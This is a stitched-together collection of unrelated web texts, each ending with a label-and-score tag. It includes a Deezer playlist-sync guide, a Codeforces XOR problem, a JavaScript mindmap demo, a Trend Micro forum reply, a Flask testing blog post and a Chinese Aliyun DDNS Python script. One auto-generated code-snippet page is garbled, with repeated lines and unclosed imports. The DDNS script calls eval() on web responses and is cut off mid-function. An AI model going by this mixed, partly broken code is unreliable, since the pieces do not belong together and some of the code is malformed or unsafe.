The steps below can help you to create a synchronization between a Deezer playlist and a Hearthis.at playlist. After your synchronization was created, daily/weekly/monthly, your Deezer playlist tracks will be automatically merged in your Hearthis.at playlist.
Premium Playlists Synchronize
1. Open the Web App Open
2. Click on the Synchronize tool () in left panel of the interface
3. Select your Deezer source playlist (if no Deezer playlists was show you have maybe to connect this platform)
4. Select Hearthis.at as destination service (and connect this platform)
5. Select the Hearthis.at playlist (you can create directly a new playlist by selecting 'New playlist')
6. Configure your synchronization (start date/time, frequency, method)
7. Confirm to create your synchronization (you can show the detail in 'My syncs' tab in the left panel) See your syncs
How to keep in sync a recent Deezer to Hearthis.at transfer ?
You have recently converted a Deezer playlist to Hearthis.at and now you want to keep this two playlist in sync ? The steps below can help you :
Premium Playlists Synchronize
1. Open the Web App Open
2. Go to your recent transfers See your recent transfers
3. Find the Deezer to Hearthis.at transfer you want to keep synchronize and click on Keep Sync ()
4. Configure your synchronization (start date/time, frequency, method)
5. Confirm to create your synchronization (you can show the detail in 'My syncs' tab in the left panel) See your syncs
Take a look to our explanation page to know more about Sync, update playlists automatically across streaming services. | __label__pos | 0.973024 |
How to use _Dependency_name method of generated Package
Best Keploy code snippet using generated._Dependency_name
_Dependency_name
Using AI Code Generation
copy
Full Screen
1var dep = new _Dependency_name();2dep.doSomething();3var dep = new _Dependency_name();4dep.doSomething();5var dep = new _Dependency_name();6dep.doSomething();7var dep = new _Dependency_name();8dep.doSomething();9var dep = new _Dependency_name();10dep.doSomething();11var dep = new _Dependency_name();12dep.doSomething();13var dep = new _Dependency_name();14dep.doSomething();15var dep = new _Dependency_name();16dep.doSomething();17var dep = new _Dependency_name();18dep.doSomething();19var dep = new _Dependency_name();20dep.doSomething();21var dep = new _Dependency_name();22dep.doSomething();23var dep = new _Dependency_name();24dep.doSomething();25var dep = new _Dependency_name();26dep.doSomething();27var dep = new _Dependency_name();28dep.doSomething();29var dep = new _Dependency_name();30dep.doSomething();31var dep = new _Dependency_name();32dep.doSomething();
Full Screen
Full Screen
_Dependency_name
Using AI Code Generation
copy
Full Screen
1import (2func main() {3dependency.Dependency_name()4}5import (6func main() {7dependency.Dependency_name()8}9I don't want to import the same dependency twice. Is there a way to make it work?
Full Screen
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Automation Testing Tutorials
Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
LambdaTest Learning Hubs:
YouTube
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Run Keploy automation tests on LambdaTest cloud grid
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Most used method in | __label__pos | 0.946103 |
Codeforces celebrates 10 years! We are pleased to announce the crowdfunding-campaign. Congratulate us by the link https://codeforces.com/10years. ×
E. Beautiful Subarrays
time limit per test
3 seconds
memory limit per test
512 megabytes
input
standard input
output
standard output
One day, ZS the Coder wrote down an array of integers a with elements a1, a2, ..., an.
A subarray of the array a is a sequence al, al + 1, ..., ar for some integers (l, r) such that 1 ≤ l ≤ r ≤ n. ZS the Coder thinks that a subarray of a is beautiful if the bitwise xor of all the elements in the subarray is at least k.
Help ZS the Coder find the number of beautiful subarrays of a!
Input
The first line contains two integers n and k (1 ≤ n ≤ 106, 1 ≤ k ≤ 109) — the number of elements in the array a and the value of the parameter k.
The second line contains n integers ai (0 ≤ ai ≤ 109) — the elements of the array a.
Output
Print the only integer c — the number of beautiful subarrays of the array a.
Examples
Input
3 1
1 2 3
Output
5
Input
3 2
1 2 3
Output
3
Input
3 3
1 2 3
Output
2 | __label__pos | 0.918169 |
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@ufologist
Created September 17, 2013 07:21
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参考SpaceTree的示例, 实现类似脑图(mindmap)效果
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>Spacetree - Mindmap Demo</title>
<link rel="stylesheet" href="spacetree.css" />
<style>
#infovis {
height: 600px;
margin-left: auto;
margin-right: auto;
background-color: #111;
}
#infovis .node {
cursor: pointer;
color: #333;
font-size: 0.8em;
padding: 3px;
}
</style>
<!-- 依靠excanvas来解决IE不支持canvas的问题 -->
<!--[if IE]>
<script src="http://philogb.github.io/jit/static/v20/Jit/Extras/excanvas.js"></script>
<![endif]-->
</head>
<body>
<h1>Spacetree - Mindmap Demo</h1>
<div id="infovis"></div>
<!-- JIT Library File -->
<script src="http://philogb.github.io/jit/static/v20/Jit/jit-yc.js"></script>
<script src="spacetree-mindmap-demo.js"></script>
</body>
</html>
/**
* Simplest Templating Engine
*
* https://github.com/trix/nano
*/
function nano(template, data) {
return template.replace(/\{([\w\.]*)\}/g, function(str, key) {
var keys = key.split("."), v = data[keys.shift()];
for (var i = 0, l = keys.length; i < l; i++) v = v[keys[i]];
return (typeof v !== "undefined" && v !== null) ? v : "";
});
}
// 渲染节点内容的模版
var tpl = '<span>{name}({unit}): {value}</span><br /><span>环比: {ratio}%</span>';
// 测试数据
var nodes = {
id: 'node01',
name: tpl,
data: { // 节点的扩展数据, 可依据这些值来渲染节点的样式
name: '收入',
unit: '元',
value: 26000,
ratio: -4.7
},
children: [{
id: 'node11',
name: tpl,
data: {
name: '收入1',
unit: '元',
value: 5000,
ratio: -5.1
},
children: [{
id: 'node111',
name: tpl,
data: {
name: '收入11',
unit: '元',
value: 2000,
ratio: -5.3
}
}, {
id: 'node112',
name: tpl,
data: {
name: '收入12',
unit: '元',
value: 1000,
ratio: 2.2
}
}, {
id: 'node113',
name: tpl,
data: {
name: '收入13',
unit: '元',
value: 2000,
ratio: -3.5
}
}]
}, {
id: 'node12',
name: tpl,
data: {
name: '收入2',
unit: '元',
value: 8000,
ratio: 2.5
}
}, {
id: 'node13',
name: tpl,
data: {
name: '收入3',
unit: '元',
value: 6000,
ratio: 2.3
}
}, {
id: 'node14',
name: tpl,
data: {
name: '收入4',
unit: '元',
value: 7000,
ratio: -2.3
},
children: [{
id: 'node141',
name: tpl,
data: {
name: '收入41',
unit: '元',
value: 4000,
ratio: -1.3
}
}, {
id: 'node142',
name: tpl,
data: {
name: '收入42',
unit: '元',
value: 1000,
ratio: 2.1
}
}, {
id: 'node143',
name: tpl,
data: {
name: '收入43',
unit: '元',
value: 2000,
ratio: -3.9
}
}]
}]
};
/**
* 参考SpaceTree的示例, 实现类似脑图(mindmap)效果
* http://philogb.github.io/jit/static/v20/Jit/Examples/Spacetree/example1.html
*/
(function() {
// Create a new Spacetree instance
// http://philogb.github.io/jit/static/v20/Docs/files/Visualizations/Spacetree-js.html
var st = new $jit.ST({
// id of viz container element
injectInto: 'infovis',
// set duration for the animation
duration: 800,
// set animation transition type
transition: $jit.Trans.Quart.easeInOut,
// Whether to show the entire tree when loaded
// or just the number of levels specified by levelsToShow.
// Default’s true.
// 关系到是否可以展开多个节点
// http://stackoverflow.com/questions/4223415/how-do-i-prevent-the-javascript-infovis-spacetree-st-select-method-from-coll
constrained: false,
// The number of levels to show for a subtree, Default’s 2
levelsToShow: 1,
// set distance between node and its children
levelDistance: 50,
// enable panning
Navigation: {
enable:true,
panning:true
},
// 节点和连接线都是通过canvas画出来的
Node: {
type: 'rectangle',
align: 'left',
autoWidth: true,
autoHeight: true,
overridable: true // for styling individual nodes or edges
},
Edge: {
type: 'bezier',
overridable: true
},
Tips: {
enable: true,
type: 'HTML',
offsetX: 10,
offsetY: 10,
onShow: function(tip, node) {
tip.innerHTML = nano(node.name, node.data);
}
},
// This method is called on DOM label creation.
// Use this method to add event handlers and styles to your node.
onCreateLabel: function(label, node) {
label.innerHTML = nano(node.name, node.data);
label.onclick = function() {
st.onClick(node.id);
};
// SpaceTree expand/collapse behaviour
// https://groups.google.com/forum/#!topic/javascript-information-visualization-toolkit/pHblraFbFuI
// 实现点击节点可以展开/收起, 效果还不是很理想
// label.onclick = function() {
// console.log(node._collapsed, node.collapsed);
// if (node._collapsed === undefined || node._collapsed === true) {
// st.op.expand(node, {
// type: 'animate',
// duration: 1000,
// hideLabels: false,
// transition: $jit.Trans.Quart.easeOut
// });
// st.onClick(node.id);
// node._collapsed = false;
// node.collapsed = false;
// } else {
// st.op.contract(node, {
// type: 'animate',
// duration: 1000,
// hideLabels: false,
// transition: $jit.Trans.Quart.easeOut
// });
// node._collapsed = true;
// node.collapsed = true;
// }
// };
},
// This method is called right before plotting a node.
// It's useful for changing an individual node
// style properties before plotting it.
// The data properties prefixed with a dollar
// sign will override the global node style properties.
onBeforePlotNode: function(node) {
//add some color to the nodes in the path between the
//root node and the selected node.
if (node.selected) {
node.data.$color = '#ff7';
} else { // 这里可以实现根据节点的扩展数据来渲染节点样式
delete node.data.$color;
// if the node belongs to the last plotted level
// if(!node.anySubnode('exist')) {
//count children number
// var count = 0;
// node.eachSubnode(function(n) { count++; });
//assign a node color based on
//how many children it has
// node.data.$color = ['#aaa', '#baa', '#caa', '#daa', '#eaa', '#faa'][count];
// }
}
},
// This method is called right before plotting
// an edge. It's useful for changing an individual edge
// style properties before plotting it.
// Edge data proprties prefixed with a dollar sign will
// override the Edge global style properties.
onBeforePlotLine: function(adj){
if (adj.nodeFrom.selected && adj.nodeTo.selected) {
adj.data.$color = '#eed';
adj.data.$lineWidth = 3;
} else {
delete adj.data.$color;
delete adj.data.$lineWidth;
}
},
onBeforeCompute: function(node) {
// console.log('loading', node.name);
},
onAfterCompute: function(){
// console.log('done');
}
});
// load data
st.loadJSON(nodes);
// compute node positions and layout
st.compute();
// optional: make a translation of the tree
st.geom.translate(new $jit.Complex(-200, 0), 'current');
// emulate a click on the root node.
st.onClick(st.root);
// 测试调整tree方位(Tree Orientation)
// setTimeout(function() {
// st.switchPosition('top', 'animate');
// setTimeout(function() {
// st.switchPosition('right', 'animate');
// setTimeout(function() {
// st.switchPosition('bottom', 'animate');
// }, 6000);
// }, 5500);
// }, 5000);
})();
.jit-autoadjust-label {
padding: 5px;
}
.tip {
color: #111;
background-color: white;
border:1px solid #ccc;
-moz-box-shadow:#555 2px 2px 8px;
-webkit-box-shadow:#555 2px 2px 8px;
-o-box-shadow:#555 2px 2px 8px;
box-shadow:#555 2px 2px 8px;
opacity:0.9;
filter:alpha(opacity=90);
font-size:10px;
font-family:Verdana, Geneva, Arial, Helvetica, sans-serif;
padding:7px;
}
@ufologist
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预览效果
spacetree mindmap demo
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L
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Monday, April 17th, 2023 2:38 PM
Help
How is someone scraping the key off the app forcing me back into a trial version? Is there not a password to protect the app from any changes being made on iPhone?
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11 Messages
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550 Points
2 months ago
Hi @leonard_masi_jr,
Welcome to Trend Micro Community!
It's unclear what exactly you mean by "scraping the key off the app". However, I'll try to provide an answer that may be helpful.
Trend Micro Mobile Security will not automatically go back to a trial version unless the app has been reinstalled. If you are already signed in, sign out of the app, then sign in again to update your subscription. To check your subscription, kindly log in on this link
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Writing tests for Open-Event
As our application and code base increased it became necessary to write tests for each functionality. Earlier we had tests only for basic functionalities like creating an event, editing an event, but then it is very important and also beneficial if we have tests for each and every small functionality. Hence we started writing proper tests. We divivded the tests into three folder
• API
• Functionality
• Views
All the API related tests were in the above one whereas the basic functionalities were in the second one. The last folder was further divided into three parts
• Admin Tests
• Super-Admin Tests
• Guest Pages
We had to test each and every functionality. For example let us look at the test file for the events. It looks like this:
class TestEvents(OpenEventViewTestCase):
def test_events_list(self):
with app.test_request_context():
url = url_for('events.index_view')
rv = self.app.get(url, follow_redirects=True)
self.assertTrue("Manage Events" in rv.data, msg=rv.data)
def test_events_create(self):
with app.test_request_context():
url = url_for('events.create_view')
rv = self.app.get(url, follow_redirects=True)
self.assertTrue("Create Event" in rv.data, msg=rv.data)
def test_events_create_post(self):
with app.test_request_context():
custom_forms = ObjectMother.get_custom_form()
url = url_for('events.create_view')
data = POST_EVENT_DATA.copy()
del data['copyright']
data['start_date'] = '07/04/2016'
data['start_time'] = '19:00'
data['end_date'] = '07/04/2016'
data['end_time'] = '22:00'
data['custom_form[name]'] = ['session_form', 'speaker_form']
data['custom_form[value]'] = [custom_forms.session_form, custom_forms.speaker_form]
rv = self.app.post(url, follow_redirects=True, buffered=True, content_type='multipart/form-data',
data=data)
self.assertTrue(POST_EVENT_DATA['name'] in rv.data, msg=rv.data)
def test_events_create_post_publish(self):
with app.test_request_context():
url = url_for('events.create_view')
data = POST_EVENT_DATA.copy()
del data['copyright']
data['start_date'] = '07/04/2016'
data['start_time'] = '19:00'
data['end_date'] = '07/04/2016'
data['end_time'] = '22:00'
data['state'] = 'Published'
rv = self.app.post(url, follow_redirects=True, buffered=True, content_type='multipart/form-data',
data=data)
self.assertTrue('unpublish' in rv.data, msg=rv.data)
def test_events_create_post_publish_without_location_attempt(self):
with app.test_request_context():
custom_forms = ObjectMother.get_custom_form()
url = url_for('events.create_view')
data = POST_EVENT_DATA.copy()
del data['copyright']
data['start_date'] = '07/04/2016'
data['start_time'] = '19:00'
data['end_date'] = '07/04/2016'
data['end_time'] = '22:00'
data['location_name'] = ''
data['state'] = u'Published'
data['custom_form[name]'] = ['session_form', 'speaker_form']
data['custom_form[value]'] = [custom_forms.session_form, custom_forms.speaker_form]
rv = self.app.post(url, follow_redirects=True, buffered=True, content_type='multipart/form-data',
data=data)
self.assertTrue('To publish your event please review the highlighted fields below' in rv.data, msg=rv.data)
def test_events_edit(self):
with app.test_request_context():
event = ObjectMother.get_event()
save_to_db(event, "Event saved")
custom_forms = ObjectMother.get_custom_form(event.id)
save_to_db(custom_forms, "Custom forms saved")
url = url_for('events.edit_view', event_id=event.id)
data = POST_EVENT_DATA.copy()
del data['copyright']
data['name'] = 'EditTestName'
data['start_date'] = '07/04/2016'
data['start_time'] = '19:00'
data['end_date'] = '07/04/2016'
data['end_time'] = '22:00'
data['custom_form[name]'] = ['session_form', 'speaker_form']
data['custom_form[value]'] = [custom_forms.session_form, custom_forms.speaker_form]
rv = self.app.post(url, follow_redirects=True, buffered=True, content_type='multipart/form-data',
data=data)
self.assertTrue('EditTestName' in rv.data, msg=rv.data)
def test_event_view(self):
with app.test_request_context():
event = ObjectMother.get_event()
save_to_db(event, "Event saved")
url = url_for('events.details_view', event_id=event.id)
rv = self.app.get(url, follow_redirects=True)
self.assertTrue("event1" in rv.data, msg=rv.data)
microlocation = ObjectMother.get_microlocation(event_id=event.id)
track = ObjectMother.get_track(event_id=event.id)
cfs = ObjectMother.get_cfs(event_id=event.id)
save_to_db(track, "Track saved")
save_to_db(microlocation, "Microlocation saved")
save_to_db(cfs, "Call for speakers saved")
rv = self.app.get(url, follow_redirects=True)
self.assertTrue("event1" in rv.data, msg=rv.data)
def test_event_publish(self):
with app.test_request_context():
event = ObjectMother.get_event()
save_to_db(event, "Event saved")
url = url_for('events.publish_event', event_id=event.id)
rv = self.app.get(url, follow_redirects=True)
event = DataGetter.get_event(event.id)
self.assertEqual("Published", event.state, msg=event.state)
def test_event_unpublish(self):
with app.test_request_context():
event = ObjectMother.get_event()
event.state = "Published"
save_to_db(event, "Event saved")
url = url_for('events.unpublish_event', event_id=event.id)
rv = self.app.get(url, follow_redirects=True)
event = DataGetter.get_event(event.id)
self.assertEqual("Draft", event.state, msg=event.state)
def test_event_delete(self):
with app.test_request_context():
event = ObjectMother.get_event()
save_to_db(event, "Event saved")
url = url_for('events.trash_view', event_id=event.id)
rv = self.app.get(url, follow_redirects=True)
self.assertTrue("Your event has been deleted" in rv.data, msg=rv.data)
def test_event_copy(self):
with app.test_request_context():
event = ObjectMother.get_event()
save_to_db(event, "Event saved")
url = url_for('events.copy_event', event_id=event.id)
rv = self.app.get(url, follow_redirects=True)
self.assertTrue("Copy of event1" in rv.data, msg=rv.data)
if __name__ == '__main__':
unittest.main()
So this is the test file for the event part. As you can see we have tests for each and every small functionality
1. test_events_list : Tests the list of events
2. test_events_create: Tests whether the event creation page is displayed
3. test_events_create_post: Tests whether the event is created on doing a POST
4. test_events_create_post_publish : Tests whether the event is published on doing a POST through Publish button
5. test_events_copy: Tests whether the event is copied properly or not
Thus each functionality related to an event is tested properly. Similarly not just for events but also for the other services like sessions:
import unittest
from tests.api.utils_post_data import POST_SESSION_DATA, POST_SPEAKER_DATA
from tests.object_mother import ObjectMother
from open_event import current_app as app
from open_event.helpers.data import save_to_db
from flask import url_for
from tests.views.view_test_case import OpenEventViewTestCase
class TestSessionApi(OpenEventViewTestCase):
def test_sessions_list(self):
with app.test_request_context():
event = ObjectMother.get_event()
save_to_db(event, "Event saved")
session = ObjectMother.get_session(event.id)
save_to_db(session, "Session Saved")
url = url_for('event_sessions.index_view', event_id=event.id, session_id=session.id)
rv = self.app.get(url, follow_redirects=True)
self.assertTrue("Sessions" in rv.data, msg=rv.data)
self.assertTrue("test" in rv.data, msg=rv.data)
def test_session_create(self):
with app.test_request_context():
event = ObjectMother.get_event()
save_to_db(event, "Event saved")
custom_form = ObjectMother.get_custom_form(event.id)
save_to_db(custom_form, "Custom form saved")
url = url_for('event_sessions.create_view', event_id=event.id)
rv = self.app.get(url, follow_redirects=True)
self.assertTrue("Create Session" in rv.data, msg=rv.data)
def test_session_create_post(self):
with app.test_request_context():
event = ObjectMother.get_event()
save_to_db(event, "Event saved")
custom_form = ObjectMother.get_custom_form(event.id)
save_to_db(custom_form, "Custom form saved")
data = POST_SESSION_DATA
data.update(POST_SPEAKER_DATA)
url = url_for('event_sessions.create_view', event_id=event.id)
rv = self.app.post(url, follow_redirects=True, buffered=True, content_type='multipart/form-data', data=data)
self.assertTrue(data['title'] in rv.data, msg=rv.data)
def test_session_edit(self):
with app.test_request_context():
event = ObjectMother.get_event()
save_to_db(event, "Event saved")
custom_form = ObjectMother.get_custom_form(event.id)
save_to_db(custom_form, "Custom form saved")
session = ObjectMother.get_session(event.id)
save_to_db(session, "Session saved")
url = url_for('event_sessions.edit_view', event_id=event.id, session_id=session.id)
rv = self.app.get(url, follow_redirects=True)
self.assertTrue("Edit Session" in rv.data, msg=rv.data)
def test_session_edit_post(self):
with app.test_request_context():
event = ObjectMother.get_event()
save_to_db(event, "Event saved")
custom_form = ObjectMother.get_custom_form(event.id)
save_to_db(custom_form, "Custom form saved")
session = ObjectMother.get_session(event.id)
save_to_db(session, "Session saved")
data = POST_SESSION_DATA
data['title'] = 'TestSession2'
url = url_for('event_sessions.edit_view', event_id=event.id, session_id=session.id)
rv = self.app.post(url, follow_redirects=True, buffered=True, content_type='multipart/form-data', data=data)
self.assertTrue("TestSession2" in rv.data, msg=rv.data)
def test_session_accept(self):
with app.test_request_context():
session = ObjectMother.get_session()
save_to_db(session, "Session Saved")
url = url_for('event_sessions.accept_session', event_id=1, session_id=session.id)
rv = self.app.get(url, follow_redirects=True)
self.assertTrue("The session has been accepted" in rv.data, msg=rv.data)
def test_session_reject(self):
with app.test_request_context():
session = ObjectMother.get_session()
save_to_db(session, "Session Saved")
url = url_for('event_sessions.reject_session', event_id=1, session_id=session.id)
rv = self.app.get(url, follow_redirects=True)
self.assertTrue("The session has been rejected" in rv.data, msg=rv.data)
def test_session_delete(self):
with app.test_request_context():
session = ObjectMother.get_session()
save_to_db(session, "Session Saved")
url = url_for('event_sessions.delete_session', event_id=1, session_id=session.id)
rv = self.app.get(url, follow_redirects=True)
self.assertTrue("deleted" in rv.data, msg=rv.data)
def test_session_view(self):
with app.test_request_context():
event = ObjectMother.get_event()
save_to_db(event)
session = ObjectMother.get_session()
session.event_id = event.id
save_to_db(session, "Session Saved")
url = url_for('event_sessions.session_display_view', event_id=event.id, session_id=session.id)
rv = self.app.get(url, follow_redirects=True)
self.assertTrue("Short abstract" in rv.data, msg=rv.data)
def test_wrong_form_config(self):
with app.test_request_context():
event = ObjectMother.get_event()
save_to_db(event, "Event saved")
url = url_for('event_sessions.create_view', event_id=event.id)
rv = self.app.get(url, follow_redirects=True)
self.assertFalse("incorrectly configured" in rv.data, msg=rv.data)
if __name__ == '__main__':
unittest.main()
We see that there are tests for each functionality of the sessions. However these tests were simple to write. However there was problem in one aspect of writing tests. In the Event creation wizard there are steps where the sponsors, tracks, rooms are dynamically added to the event. How then should we test them. I wrote the test for the creation of sponsors in step -2
def test_events_create_post(self):
with app.test_request_context():
custom_forms = ObjectMother.get_custom_form()
url = url_for('events.create_view')
data = POST_EVENT_DATA.copy()
del data['copyright']
data['sponsors[name]'] = ['Sponsor 1', 'Sponsor 2']
data['sponsors[type]'] = ['Gold', 'Silver']
data['sponsors[url]'] = ["", ""]
data['sponsors[description]'] = ["", ""]
data['sponsors[level]'] = ["", ""]
data['start_date'] = '07/04/2016'
data['start_time'] = '19:00'
data['end_date'] = '07/04/2016'
data['end_time'] = '22:00'
data['custom_form[name]'] = ['session_form', 'speaker_form']
data['custom_form[value]'] = [custom_forms.session_form, custom_forms.speaker_form]
data = ImmutableMultiDict(data)
rv = self.app.post(url, follow_redirects=True, buffered=True, content_type='multipart/form-data',
data=data)
self.assertTrue(POST_EVENT_DATA['name'] in rv.data, msg=rv.data)
rv2 = self.app.get(url_for('events.details_view', event_id=1))
self.assertTrue(data['sponsors[name]'] in rv2.data, msg=rv2.data)
Here on importing the data dict I dynamically add two sponsors to the dict. After that I convert the dict to an Immutablemulti-dict so that the multiple sponsors can be displayed. Then I pass this dict to the event creation view via a POST request and check whether the two sponsors are present in the details page or not.
Thus our test system is developed and improving. Still as we develop more functionalities we will write more tests 🙂
| __label__pos | 0.977198 |
Md Hohn Md Hohn - 1 year ago 64
C# Question
How to convert Sql Datetime query into Linq
select * from Employees where DataofJoin ='2005-01-01 00:00:00.000'
I wrote this Linq Query as
public JsonResult Dif()
{
var ss = Convert.ToDateTime("2001-01-01 00:00:00.000");
var x = (from n in db.Employees
where n.DataofBirth == ss
select n).First();
return new JsonResult { JsonRequestBehavior = JsonRequestBehavior.AllowGet };
}
But its throwing the following error:
"An exception of type 'System.InvalidOperationException' occurred in System.Core.dll
but was not handled in user code"
Answer Source
As I can Understand , This issue is because of attempt to get an item from empty object.
Because you are making a call of .First() and there is an empty result returned by the query. So if you do obj.First() of an empty object it throws exception. Use obj.FirstOrDefault() To avoid the exception.
And if Linq is not returning the data is an issue then use Sql Profiler to check what query is been called,or change the date filter accordingly.
To avoid error Use -
var x = (from n in db.Employees
where n.DataofBirth == ss
select n).FirstOrDefault();
Update
For getting proper date, do something like this .
var ss = new DateTime (2005,01,01,0,0,0); //use this date in linq query
Hope it will help you.
Recommended from our users: Dynamic Network Monitoring from WhatsUp Gold from IPSwitch. Free Download | __label__pos | 0.714166 |
0x01 前言
我本来是使用DNSPod的DDNS服务，但自从我撤走极路由后就再也用不了了。同时DNSPod免费用户最低的TTL仅能设为600（10分钟），不足以满足DDNS的需求。我试过很多次重启服务器或者重新拨号后都无法在短时间内更新DNS的A记录。
其实DNSPod也有简单易用的API可供我编写python脚本，相对于阿里云年付的40.8元，DNSPod的年付360确实有点贵，同时DNSPod个人专业版的TTL最低也就300（5分钟），但阿里云最低却能设为1（1秒）。
如果你需要阿里云的付费服务，以下是一个9折优惠码：
阿里云9折优惠码：nfasn1
DNSPod DNS费用详情
DNSPod DNS费用详情
阿里云DNS费用详情
阿里云DNS费用详情
0x02 准备
因为受限于阿里云python SDK，这里使用python2.7进行编写。运行时请使用python2.x版本运行，而使用python3.x将会出现错误。
首先要在系统上安装阿里云的python SDK：
#新安装的系统没有python pip，所以先安装它和其他依赖包
[[email protected] ~]# yum install python-pip gcc gcc-devel autoconf automake python-devel python-pip python-crypto python-cryptography -y
#安装alidns python DSK
[[email protected] ~]# pip install aliyun-python-sdk-alidns
还需要准备以下账号内容：
1. Access Key ID
2. Access Key Secret
3. 账号ID
准备好上面的内容后，将你的域名添加到阿里云解析DNS中：
WechatIMG23
完成后再在这个域名下添加一个主机A记录：
WechatIMG24
至此，准备工作已经完成。下面来获取域名的关键信息。
0x03 关键信息
通过脚本更新DNS记录需要几个关键的信息，如下：
1. 一级域名（你的域名）
2. 主机记录（你的二级域名）
3. 记录类型（你的本地IP地址）
4. 记录ID（这个解析记录的ID）
5. 记录TTL（记录有效生存时间）
0x03.1 记录ID
其中1，2，3，5是可以确定的，而4则需要通过阿里云API获取：
def check_records(dns_domain):
clt = client.AcsClient(access_key_id, access_Key_secret, 'cn-hangzhou')
request = DescribeDomainRecordsRequest.DescribeDomainRecordsRequest()
request.set_DomainName(dns_domain)
request.set_accept_format(rc_format)
result = clt.do_action_with_exception(request)
result = result.decode()
result_dict = json.JSONDecoder().decode(result)
result_list = result_dict['DomainRecords']['Record']
for j in result_list:
print('Subdomain：' + j['RR'].encode() + ' ' + '| RecordId：' + j['RecordId'].encode())
return
返还的内容如下：
[[email protected] aliyun_ddns]# python aliyun_ddns.py
Subdomain：subdomain_1 | RecordId：3331111111111111
Subdomain：subdomain_2 | RecordId：3331111111111111
Subdomain：subdomain_3 | RecordId：3331111111111111
Subdomain：subdomain_4 | RecordId：3331111111111111
Subdomain：subdomain_5 | RecordId：3331111111111111
Subdomain：subdomain_6 | RecordId：3331111111111111
0x03.2 本机IP
而获取本机IP，我选用ip.cn这个网站。当使用curl访问这个网站时，它会返还IP归属地和IP地址。使用脚本获取：
WechatIMG25
def my_ip_method_1():
get_ip_method = os.popen('curl -s ip.cn')
get_ip_responses = get_ip_method.readlines()[0]
get_ip_pattern = re.compile(r'\d+\.\d+\.\d+\.\d+')
get_ip_value = get_ip_pattern.findall(get_ip_responses)[0]
return get_ip_value
可能因为ip.cn这个站点受到攻击，他们的服务目前不太稳定，请使用my_ip_method_2或my_ip_method_3这两种本地IP的获取方式。
0x04 对比 | 更新
怎样才能知道IP地址是否有改变？
在获取本地IP后，再通过阿里云DNS API获取上一次的记录，两者相对比，如果不一致则更新DNS记录。
0x04.1 上一次的记录
def old_ip():
clt = client.AcsClient(access_key_id, access_Key_secret, 'cn-hangzhou')
request = DescribeDomainRecordInfoRequest.DescribeDomainRecordInfoRequest()
request.set_RecordId(rc_record_id)
request.set_accept_format(rc_format)
result = clt.do_action(request)
result = json.JSONDecoder().decode(result)
result = result['Value']
return result
0x04.2 更新记录
def update_dns(dns_rr, dns_type, dns_value, dns_record_id, dns_ttl, dns_format):
clt = client.AcsClient(access_key_id, access_Key_secret, 'cn-hangzhou')
request = UpdateDomainRecordRequest.UpdateDomainRecordRequest()
request.set_RR(dns_rr)
request.set_Type(dns_type)
request.set_Value(dns_value)
request.set_RecordId(dns_record_id)
request.set_TTL(dns_ttl)
request.set_accept_format(dns_format)
result = clt.do_action(request)
return result
0x04.3 对比
if rc_value_old == rc_value:
print 'The specified value of parameter Value is the same as old'
else:
update_dns(rc_rr, rc_type, rc_value, rc_record_id, rc_ttl, rc_format)
0x05 记录
我不但想要更新DDNS记录，我还想记录下每一次重新拨号后获取的IP，说不定日后能做个分析什么的。那么将记录写入文件：
def write_to_file():
time_now = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
current_script_path = sys.path[7]
print current_script_path
log_file = current_script_path + '/' + 'aliyun_ddns_log.txt'
write = open(log_file, 'a')
write.write(time_now + ' ' + str(rc_value) + '\n')
write.close()
return
0x06 完整脚本
最新完整脚本请移步至GitHub：阿里云DDNS python脚本
# -*- coding: UTF-8 -*-
import json
import os
import re
import sys
from datetime import datetime
import requests
from aliyunsdkalidns.request.v20150109 import UpdateDomainRecordRequest, DescribeDomainRecordsRequest, \
DescribeDomainRecordInfoRequest
from aliyunsdkcore import client
access_key_id = ""
access_Key_secret = ""
# 请填写你的账号ID
account_id = ""
# 如果填写yes，则运行程序后仅显示域名信息，并不会更新记录，用于获取解析记录ID。
# 如果填写no，则运行程序后不显示域名信息，仅更新记录。
i_dont_know_record_id = 'yes'
# 请填写你的一级域名
rc_domain = ''
# 请填写你的解析记录
rc_rr = ''
# 请填写你的记录类型，DDNS请填写A，表示A记录
rc_type = 'A'
# 请填写解析记录ID
rc_record_id = ''
# 请填写解析有效生存时间TTL，单位：秒
rc_ttl = '30'
# 请填写返还内容格式，json，xml
rc_format = 'json'
def my_ip_method_1():
get_ip_method = os.popen('curl -s ip.cn')
get_ip_responses = get_ip_method.readlines()[0]
get_ip_pattern = re.compile(r'\d+\.\d+\.\d+\.\d+')
get_ip_value = get_ip_pattern.findall(get_ip_responses)[0]
return get_ip_value
def my_ip_method_2():
get_ip_method = os.popen('curl -s http://ip-api.com/json')
get_ip_responses = get_ip_method.readlines()[0]
get_ip_responses = eval(str(get_ip_responses))
get_ip_value = get_ip_responses['query']
return get_ip_value
def my_ip_method_3():
get_ip_method = requests.get('http://ifconfig.co/json').content
get_ip_value = eval(get_ip_method)
get_ip_value = get_ip_value['ip']
return get_ip_value
def check_records(dns_domain):
clt = client.AcsClient(access_key_id, access_Key_secret, 'cn-hangzhou')
request = DescribeDomainRecordsRequest.DescribeDomainRecordsRequest()
request.set_DomainName(dns_domain)
request.set_accept_format(rc_format)
result = clt.do_action_with_exception(request)
result = result.decode()
result_dict = json.JSONDecoder().decode(result)
result_list = result_dict['DomainRecords']['Record']
for j in result_list:
print('Subdomain：' + j['RR'].encode() + ' ' + '| RecordId：' + j['RecordId'].encode())
return
def old_ip():
clt = client.AcsClient(access_key_id, access_Key_secret, 'cn-hangzhou')
request = DescribeDomainRecordInfoRequest.DescribeDomainRecordInfoRequest()
request.set_RecordId(rc_record_id)
request.set_accept_format(rc_format)
result = clt.do_action_with_exception(request).decode()
result = json.JSONDecoder().decode(result)
result = result['Value']
return result
def update_dns(dns_rr, dns_type, dns_value, dns_record_id, dns_ttl, dns_format):
clt = client.AcsClient(access_key_id, access_Key_secret, 'cn-hangzhou')
request = UpdateDomainRecordRequest.UpdateDomainRecordRequest()
request.set_RR(dns_rr)
request.set_Type(dns_type)
request.set_Value(dns_value)
request.set_RecordId(dns_record_id)
request.set_TTL(dns_ttl)
request.set_accept_format(dns_format)
result = clt.do_action_with_exception(request)
return result
def write_to_file():
time_now = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
